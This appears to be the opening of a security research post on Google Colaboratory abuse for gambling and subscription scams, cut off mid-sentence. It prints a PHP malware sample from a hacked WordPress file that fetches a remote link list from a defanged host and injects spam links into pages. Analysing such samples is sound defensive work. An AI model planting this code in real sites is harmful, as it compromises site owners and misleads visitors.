Massive Google Colaboratory Abuse: Gambling and Subscription Scam

This investigation started with a small and quite simple piece of PHP malware found on a hacked website. We located the following PHP code, responsible for injecting spammy links, within a wp-includes.php file: <?php $lines = file('https://4ip[.]su/db/links.txt');  shuffle($lines); $data = array_rand($lines, 900);  echo '<p>'; foreach($data as $value) { $rand = substr(md5(microtime()),rand(0,26),6); echo '<a href="'.$lines[$value].'">'.$rand.'</a> '; }; echo '</p>'; ?> This script fetches a list of links from a remote location (hxxps://4ip[.]su/db/links.txt) and then injects some of them into a web...